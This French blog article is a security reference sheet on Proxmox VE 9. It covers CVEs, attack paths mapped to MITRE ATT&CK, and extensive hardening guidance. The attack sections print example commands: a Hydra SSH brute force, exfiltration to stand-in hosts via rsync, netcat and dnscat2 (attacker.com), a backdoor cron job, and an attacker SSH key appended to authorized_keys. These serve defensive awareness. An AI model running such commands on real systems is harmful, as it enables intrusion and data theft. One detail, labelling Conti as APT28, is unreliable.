Expert Cybersécurité & IA

Sécurité Proxmox

Publié le 7 December 2025 19 min de lecture 28 vues

Mémento : Attaques et Vulnérabilités Proxmox VE 9

🔒 Par Ayi NEDJIMI

Proxmox Virtual Environment (PVE) 9, basé sur Debian Trixie et publié en août 2025, est une plateforme de virtualisation open-source type-1 largement déployée en entreprise. Bien que cette solution présente de nombreux avantages en termes de flexibilité et de coûts, elle demeure exposée à diverses menaces de sécurité.

Ce mémento référence les principales vulnérabilités, les techniques d'attaque, les outils exploités par les sources de risques et les contremesures appropriées pour sécuriser l'infrastructure Proxmox VE 9.

1. Surface d'Attaque et Architecture

1.1. Composants Vulnérables

Proxmox VE 9 présente plusieurs composants potentiellement vulnérables :

Composant Description Risque
Interface web de gestion Port 8006 - pveproxy/pvedaemon en Perl 🔴 Critique
API REST Communications client-serveur via HTTP/TLS 🔴 Critique
Couche SSH Accès administratif à l'hyperviseur sous-jacent 🔴 Critique
Stockage NFS, iSCSI, Ceph, LVM, ZFS 🟠 Élevé
Système de sauvegarde Proxmox Backup Server (PBS) 🔴 Critique
VM et Conteneurs Exposition latérale 🟠 Élevé
Interfaces matériel iDRAC, IPMI, ILO 🔴 Critique

1.2. Vecteurs d'Attaque Principaux

Les attaquants peuvent cibler Proxmox via plusieurs chemins :

  • Accès non autorisé à l'interface d'administration
  • Exploitation de vulnérabilités des services web
  • Attaques par force brute sur SSH et interface web
  • Compromission des VM/CT avec mouvement latéral vers l'hyperviseur
  • Attaques sur les sauvegardes (ransomware, suppression)
  • Exploitation des APIs mal sécurisées
  • Man-in-the-Middle sur les communications non chiffrées

2. Vulnérabilités Critiques Identifiées

2.1. CVE-2022-35508 : SSRF et Divulgation de Fichiers

CVE-2022-35508 CVSS 9.8 - CRITIQUE

Description : Vulnérabilité SSRF (Server-Side Request Forgery) dans le proxy HTTP entre pve(pmg)proxy et pve(pmg)daemon. Un attaquant disposant d'un compte non privilégié peut forger des requêtes HTTP malveillantes.

Caractéristique Détail
Score CVSS 9.8 (Critique)
Référence MITRE CWE-918 / Technique ATT&CK T1190
Correction Fixé dans pve-http-server 4.1-3
Impact Lecture arbitraire de fichiers (ex: /etc/shadow), escalade de privilèges vers root@pam, accès aux clés d'authentification de backup

Chemin d'Attaque (Synthèse)

1. Authentification basique
2. Requête HTTP avec payload SSRF
3. Lecture du fichier de backup tarball
4. Extraction de la clé
5. ➜ Accès administrateur complet

2.2. CVE-2022-31358 : Cross-Site Scripting (XSS) Réfléchi

CVE-2022-31358 CVSS 9.0 - CRITIQUE

Description : XSS réfléchi dans l'interface web antérieure à v7.2-3, exploitable via des endpoints inexistants sous /api2/html/.

Caractéristique Détail
Score CVSS 9.0 (Critique)
Référence MITRE CWE-79 / Technique ATT&CK T1189, T1566 (Phishing)
Correction Fixé dans Proxmox VE v7.2-3
Impact Exécution de scripts JavaScript arbitraires dans le navigateur de l'administrateur, vol de cookies de session, détournement de session

2.3. Autres Vulnérabilités Notables

CVE Score Description Correction
CVE-2022-35507 7.1 - Élevé CRLF Injection - DoS côté client ou manipulation de cache web pve-http-server 4.1-3
XSS Stockées (PVE 8.4) 8.2 - Élevé Persistance de code malveillant dans champs de configuration (WebAuthn, U2F, HTTP Proxy) Mise à jour requise
CVE-2024-9486 9.8 - Critique Credentials par défaut (Kubernetes Image Builder) Désactivation requise
2FA Bypass Critique Contournement 2FA (PVE v5.4 à v8.0) Mise à jour vers PVE 9
Dirty Pipe CVE-2022-0847 Escalade de privilèges locale (noyau) Mise à jour pve-kernel
CVE-2024-1086 Critique Escalade de privilèges locale (noyau) Mise à jour pve-kernel
Spectre/Meltdown Élevé Vulnérabilités matérielles CPU Vérif: lscpu | grep vulnerabilities

3. Attaques par Force Brute

3.1. Attaques SSH

⚠️ Technique ATT&CK : T1110.001 - Brute Force: Password Guessing

Outils utilisés : Hydra, Medusa, Ncrack, Patator

Exemple avec Hydra

# Attaque par dictionnaire sur SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 -t 4

Chemin d'Attaque

1. Découverte SSH (scan de port 22)
2. Énumération utilisateurs
3. Attaque dictionnaire/brute force
4. Accès root à l'hyperviseur
5. ➜ Contrôle total de l'infrastructure

3.2. Attaques Interface Web

L'interface web Proxmox impose un délai de 5 secondes en cas d'échec d'authentification.

💡 Technique d'Optimisation

Utilisation de scripts personnalisés avec timeout de 1 seconde pour accélérer l'attaque (facteur 3).

Contremesures

  • ✓ Désactivation de l'authentification root par mot de passe
  • ✓ Activation de Fail2Ban
  • ✓ Limitation de taux (rate limiting) via reverse proxy

4. Attaques sur les Sauvegardes

4.1. Ransomware et Chiffrement des Backups

🔥 Technique ATT&CK : T1486 - Data Encrypted for Impact / T1490 - Inhibit System Recovery

Scénario d'Attaque

1. Compromission d'une VM
2. Mouvement latéral vers l'hyperviseur
3. Accès aux credentials de backup
4. Suppression/chiffrement des sauvegardes (Inhibit System Recovery)
5. Chiffrement des VM en production
6. ➜ Demande de rançon

Outils Ransomware Connus

  • 🔴 REvil - Ransomware-as-a-Service
  • 🔴 BlackCat (ALPHV) - Ransomware en Rust
  • 🔴 LockBit - Gang ransomware actif
  • 🔴 Conti - Groupe APT28

4.2. Exfiltration de Données via Backup

⚠️ Technique ATT&CK : T1048 - Exfiltration Over Alternative Protocol

Scénario : Un attaquant ayant accès en lecture aux backups peut exfiltrer des données sensibles.

Outils d'Exfiltration

# Restauration backup Proxmox
proxmox-backup-client restore

# Synchronisation avec serveur externe
rsync -avz /backup/ attacker@external-server:/data/

# Scripts d'extraction automatisés
python3 extract_vm_data.py --backup-dir /mnt/pbs/

5. Outils de Reconnaissance et Énumération

5.1. Scanning et Découverte

Nmap - Scan de Vulnérabilités

# Scan de services Proxmox
nmap -sV -p 8006,22,111,3128,5900-5999 192.168.1.0/24

# Scan avec scripts NSE spécifiques
nmap -sC -sV -p- --script=proxmox* 192.168.1.10

Masscan - Scanner Rapide

# Scan rapide sur large plage d'IPs
masscan -p8006 192.168.0.0/16 --rate=10000

5.2. Énumération Active

📊 Référence ATT&CK : T1087 - Account Discovery

Outil Fonction Commande
enum4linux Énumération SMB/CIFS enum4linux -a 192.168.1.10
CrackMapExec Suite énumération AD et SMB crackmapexec smb 192.168.1.0/24
BloodHound Cartographie chemins d'attaque AD bloodhound-python -d domain.local

6. Outils d'Exploitation Post-Compromission

6.1. Mouvement Latéral

🎯 Technique ATT&CK : T1021 - Remote Services

Outil Description Usage
Metasploit Framework Framework d'exploitation complet Modules d'exploitation et post-exploitation
Cobalt Strike Plateforme C2 commerciale Beacon deployment, pivoting
PowerShell Empire Framework post-exploitation Agents PowerShell, modules latéral
Mimikatz Extraction credentials Windows Dump LSASS, Pass-the-Hash

6.2. Persistance

⚠️ Technique ATT&CK : T1053 - Scheduled Task/Job

Méthodes de Persistance

  • 📌 Création de cron jobs malveillants
  • 📌 Injection de backdoor dans les images de VM
  • 📌 Modification de scripts de démarrage (/etc/rc.local)
  • 📌 Ajout de clés SSH autorisées (~/.ssh/authorized_keys)
# Exemple de cron job backdoor
echo "*/5 * * * * /tmp/.hidden/backdoor.sh" | crontab -

# Ajout de clé SSH
echo "ssh-rsa AAAAB3... attacker@host" >> /root/.ssh/authorized_keys

6.3. Exfiltration

🔴 Technique ATT&CK : T1041 - Exfiltration Over C2 Channel

Outil Méthode Exemple
Rclone Sync vers cloud storage rclone sync /data/ remote:exfil/
Netcat/Ncat Transfert réseau direct tar czf - /data | nc attacker.com 4444
DNSCat2 Tunneling DNS dnscat2 --dns server=attacker.com

7. Contremesures et Durcissement

7.1. Sécurisation SSH

Configurations Recommandées (/etc/ssh/sshd_config)

# Désactiver la connexion root par mot de passe
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes

# Limiter aux utilisateurs autorisés
AllowUsers admin-user

# Sécurité additionnelle
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2

# Protocole et chiffrement
Protocol 2
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com

Activation de Fail2Ban

# Installation
apt install fail2ban

# Activation
systemctl enable fail2ban
systemctl start fail2ban

# Configuration dans /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

7.2. Sécurisation Interface Web

🔐 Recommandations Essentielles

Mesure Configuration Impact
TLS/SSL Fort TLS 1.3 uniquement, cipher suites sécurisées, HSTS Protection MITM
2FA TOTP, WebAuthn (Yubikey) via Datacenter → Permissions Protection brute force
Rate Limiting Reverse proxy (nginx/haproxy) avec limite requêtes/IP Protection DoS
Whitelist IP Firewall limitant port 8006 aux IPs admin Réduction surface d'attaque

7.3. Gestion des Identités et Accès (RBAC)

Principe du Moindre Privilège

Rôle Proxmox Permissions Usage Recommandé
PVEAdmin Administration complète Admins système uniquement
PVEVMAdmin Gestion VM/CT Équipes DevOps
PVEVMUser Utilisation VM/CT (console) Utilisateurs finaux
PVEDatastoreUser Accès lecture stockage Opérateurs backup
PVEAuditor Lecture seule complète Audit et monitoring

API Tokens (Recommandé pour Scripts)

# Créer un token API (GUI : Datacenter → Permissions → API Tokens)
# Ou en CLI :
pveum user token add user@pam backup-token --privsep 0

# Utilisation du token
curl -k -H "Authorization: PVEAPIToken=user@pam!backup-token=UUID" \\
  https://proxmox.local:8006/api2/json/nodes

7.4. Pare-feu et Segmentation Réseau

Firewall Proxmox Intégré

Configuration via GUI : Datacenter → Firewall

# Activer le firewall au niveau datacenter
pvesh set /cluster/firewall/options --enable 1

# Activer le firewall sur un nœud
pvesh set /nodes/pve1/firewall/options --enable 1

Segmentation VLAN (Cruciale)

VLAN Usage Subnet Exemple Sécurité
VLAN 10 Gestion Proxmox 10.0.10.0/24 Isolé, accès restreint
VLAN 20 Production VMs 10.0.20.0/24 Firewalled, NAT
VLAN 30 Backup/Stockage 10.0.30.0/24 Isolé, pas de route Internet
VLAN 99 Gestion IPMI/iDRAC 10.0.99.0/24 Isolation stricte

Règles Essentielles (Exemple iptables)

# Autoriser uniquement IPs administrateur sur port 8006
iptables -A INPUT -s 10.0.1.0/24 -p tcp --dport 8006 -j ACCEPT
iptables -A INPUT -p tcp --dport 8006 -j DROP

# Autoriser SSH uniquement depuis bastion
iptables -A INPUT -s 10.0.1.100 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

# Bloquer accès inter-VMs sauf autorisation explicite
iptables -A FORWARD -i vmbr1 -o vmbr1 -j DROP

7.5. Mises à Jour et Patch Management

🔴 CRITIQUE : Maintenir le Système à Jour

# Mise à jour complète du système
apt update && apt dist-upgrade -y

# Mise à jour du noyau Proxmox
apt install pve-kernel-6.8

# Vérifier les packages obsolètes
apt list --upgradable

# Redémarrer si nécessaire
reboot

Automatisation avec unattended-upgrades

# Installation
apt install unattended-upgrades

# Configuration dans /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Origins-Pattern {
    "origin=Debian,codename=${distro_codename}-security";
    "origin=Proxmox";
};

Unattended-Upgrade::Automatic-Reboot "false";
Unattended-Upgrade::Mail "admin@domain.com";

7.6. Sécurisation des Sauvegardes

Proxmox Backup Server (PBS) - Configuration Sécurisée

# Chiffrement Client-Side (AES-256 en mode GCM) - ACTIVÉ PAR DÉFAUT
# La clé de chiffrement est stockée côté client uniquement

# Activer le Protected Mode (Immuabilité)
proxmox-backup-manager datastore update <datastore> --protected true

# Vérifier le statut de protection
proxmox-backup-manager datastore list

Règle 3-2-1 pour Sauvegardes

💾 Stratégie de Sauvegarde Résiliente

  • 3 copies des données
  • 2 types de média différents
  • 1 copie hors-site (off-site)

Tests de Restauration

# Test de restauration mensuel (ESSENTIEL)
# 1. Restaurer une VM de test
qmrestore /path/to/backup.vma.zst 999 --storage local-lvm

# 2. Vérifier l'intégrité
qm start 999
qm guest cmd 999 ping --timeout 10

# 3. Documenter les résultats dans un journal d'audit

7.7. Monitoring et Détection d'Intrusion

Centralisation des Logs (Syslog)

# Configuration rsyslog vers serveur central
# Éditer /etc/rsyslog.conf
*.* @@siem-server.local:514

# Redémarrer rsyslog
systemctl restart rsyslog

Intégration Prometheus + Grafana

# Installer l'exporteur Proxmox
apt install prometheus-pve-exporter

# Configuration dans /etc/prometheus/pve.yml
default:
    user: monitoring@pve
    password: your_secure_password
    verify_ssl: false

# Redémarrer l'exporteur
systemctl restart prometheus-pve-exporter

IDS/IPS - Suricata ou Snort

# Installation Suricata dans une VM dédiée
apt install suricata

# Configuration interface de monitoring
suricata -c /etc/suricata/suricata.yaml -i eth0

# Mise à jour des règles
suricata-update

7.8. Durcissement Général Linux

# Désactivation des services inutiles
systemctl disable avahi-daemon
systemctl disable cups
systemctl stop avahi-daemon cups

# Configuration Kernel Sysctl (sécurité réseau)
cat >> /etc/sysctl.conf <<EOF
# Protection SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048

# Désactiver le routage IP (sauf si routeur)
net.ipv4.ip_forward = 0

# Randomization address space
kernel.randomize_va_space = 2

# Protection contre IP spoofing
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
EOF

sysctl -p

# Auditing avec auditd
apt install auditd
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes

7.9. Sécurité Physique et Accès Matériel

⚠️ Interfaces de Gestion (iDRAC/IPMI/ILO)

  • ✓ Mots de passe forts (20+ caractères)
  • ✓ Authentification 2FA activée
  • VLAN de gestion dédié (isolé du réseau production)
  • ✓ Désactivation des services inutiles (VNC, HTTP)
  • ✓ Mise à jour firmware régulière

Verrouillage Physique

  • 🔒 Baies serveur verrouillées avec contrôle d'accès
  • 🔒 Vidéosurveillance des salles serveurs
  • 🔒 Journaux d'accès physique

7.10. Plan de Réponse aux Incidents

Phases de Gestion d'Incident (NIST SP 800-61)

Phase Actions Outils
1. Préparation Politique, formation, outils, contacts Runbooks, contacts d'urgence
2. Détection et Analyse Identification de l'incident, classification SIEM, IDS, logs
3. Confinement Isolation du système compromis Firewall, shutdown VM, snapshot
4. Éradication Suppression de la menace, patch Antivirus, réinstallation
5. Récupération Restauration des services Backups, rebuild
6. Leçons Apprises Post-mortem, amélioration Documentation, amélioration procédures

8. Outils de Test de Sécurité

8.1. Scanners de Vulnérabilités

Outil Type Usage Licence
Nessus Professional Scanner complet Audit régulier infrastructure Commercial
OpenVAS Scanner open-source Alternative gratuite à Nessus GPL
Nuclei Scanner basé templates Détection vulnérabilités web MIT
Lynis Audit système Linux Hardening check, compliance GPL

Exemple Lynis (Audit Système)

# Installation
apt install lynis

# Audit complet
lynis audit system

# Génération rapport
lynis audit system --report-file /root/lynis-report.txt

8.2. Outils de Pentesting Web

Outil Fonction Usage Proxmox
Burp Suite Professional Proxy d'interception, scanner Test interface web, API REST
OWASP ZAP Proxy open-source Alternative gratuite à Burp
SQLMap Détection/exploitation SQL injection Test endpoints API

8.3. Frameworks de Sécurité

  • 🛠️ Metasploit Framework - Suite d'exploitation complète
  • 🛠️ Social Engineering Toolkit (SET) - Phishing et social engineering
  • 🛠️ Empire/Starkiller - Post-exploitation PowerShell/Python

9. Conformité et Normes

9.1. MITRE ATT&CK Framework

Cartographie des techniques d'attaque observées sur Proxmox :

ID Technique Nom Application Proxmox
T1190 Exploit Public-Facing Application Interface web 8006, API REST
T1110.001 Brute Force: Password Guessing SSH, interface web
T1021 Remote Services SSH, VNC (via noVNC)
T1486 Data Encrypted for Impact Ransomware sur VMs/backups
T1490 Inhibit System Recovery Suppression snapshots/backups
T1048 Exfiltration Over Alternative Protocol Exfil via backup restore

9.2. CIS Benchmarks

Recommandations pour Debian Linux et Virtualisation :

  • CIS Debian Linux Benchmark
  • CIS Virtualization Benchmark
  • ✓ Téléchargement : cisecurity.org

9.3. NIST Cybersecurity Framework

Fonction Application Proxmox
Identify Inventaire assets, évaluation risques
Protect 2FA, firewall, segmentation, durcissement
Detect Monitoring, logs, IDS
Respond Plan de réponse incidents, isolation
Recover Restauration backups, continuité activité

9.4. Audits de Sécurité

📋 Fréquence Recommandée

  • Pentest interne : Trimestriel (tous les 3 mois)
  • Pentest externe : Semestriel (tous les 6 mois)
  • Audit de configuration : Mensuel
  • Revue des logs : Quotidien (automatisé)

10. Ressources et Références

10.1. Documentation Officielle

  • 📚 Proxmox VE Documentation - pve.proxmox.com/pve-docs/
  • 📚 Proxmox Backup Server Docs - pbs.proxmox.com/docs/
  • 📚 Security Advisories - forum.proxmox.com/forums/security-advisories/

10.2. Bases de Données CVE

  • 🔍 MITRE CVE - cve.mitre.org
  • 🔍 NVD (NIST) - nvd.nist.gov
  • 🔍 OpenCVE - opencve.io (alertes personnalisées)

10.3. Outils Open-Source

  • 🛡️ Fail2Ban - fail2ban.org
  • 🛡️ Wazuh - wazuh.com (SIEM/XDR open-source)
  • 🛡️ Suricata - suricata.io (IDS/IPS)

11. Checklist de Sécurisation Proxmox VE 9

A. Gestion des Accès et Authentification (IAM)

Mise à jour (Patch Management) : Noyau pve-kernel et packages à jour
Authentification 2FA : Activée sur tous les comptes administrateurs
Root SSH : Accès SSH pour root par mot de passe désactivé
Clés SSH : Authentification uniquement par clés (ED25519 ou RSA 4096)
Moindre Privilège : Rôles strictement nécessaires (e.g., PVEVMUser)

B. Durcissement Réseau et Pare-feu

Firewall : Pare-feu Proxmox activé et configuré sur tous les nœuds
Segmentation VLAN : Réseaux Gestion, Production, et Backup séparés
Accès Web : Port 8006 accessible uniquement depuis les IPs de confiance
TLS/HSTS : TLS 1.3 avec HSTS activé pour l'interface web
Fail2Ban/Rate Limiting : Configuré pour surveiller les tentatives d'accès

C. Sauvegardes et Résilience

Règle 3-2-1 : Stratégie de sauvegarde respectée
Chiffrement : Chiffrement côté client (AES-256) activé sur PBS
Immuabilité : Protected Mode activé sur les datastore critiques
Restauration : Tests de restauration effectués mensuellement et documentés

D. Monitoring et Logs

Centralisation : Logs critiques centralisés vers un SIEM ou serveur Syslog distant
Auditd : Service auditd activé pour suivre les changements sur les fichiers critiques
Surveillance des Événements : Alertes configurées pour les échecs de connexion et les modifications critiques

Conclusion

Proxmox VE 9 représente une plateforme de virtualisation puissante et flexible, mais comme toute infrastructure critique, elle nécessite une approche rigoureuse en matière de sécurité.

Les vulnérabilités identifiées, notamment les CVE-2022-35508 (SSRF), CVE-2022-31358 (XSS) et les problématiques de bypass 2FA, démontrent l'importance d'une stratégie de défense en profondeur.

Contremesures Essentielles

  • Maintien à jour systématique du noyau et des packages
  • Durcissement SSH avec clés uniquement et Fail2Ban
  • Authentification multifacteur obligatoire pour tous les comptes admin
  • Segmentation réseau stricte avec VLANs dédiés
  • Sauvegardes 3-2-1 avec chiffrement et immuabilité
  • Monitoring continu avec SIEM et IDS/IPS
  • Tests réguliers de restauration et pentests

L'adoption d'un modèle de sécurité Zero Trust, combinée à une application rigoureuse des principes du moindre privilège et de la défense en profondeur, permettra de réduire significativement la surface d'attaque et d'améliorer la résilience de l'infrastructure Proxmox VE 9 face aux menaces actuelles et émergentes.

⚠️ Rappel Important

La cybersécurité n'est pas un état final mais un processus continu d'amélioration, nécessitant une veille constante sur les nouvelles vulnérabilités, une adaptation aux techniques d'attaque évolutives et une culture de la sécurité partagée par l'ensemble des équipes techniques.

🛡️ Besoin d'un audit de sécurité Proxmox ?

Nos experts en sécurité infrastructure vous accompagnent dans l'audit, le pentest et la remédiation de votre environnement Proxmox VE 9.

Partager cet article :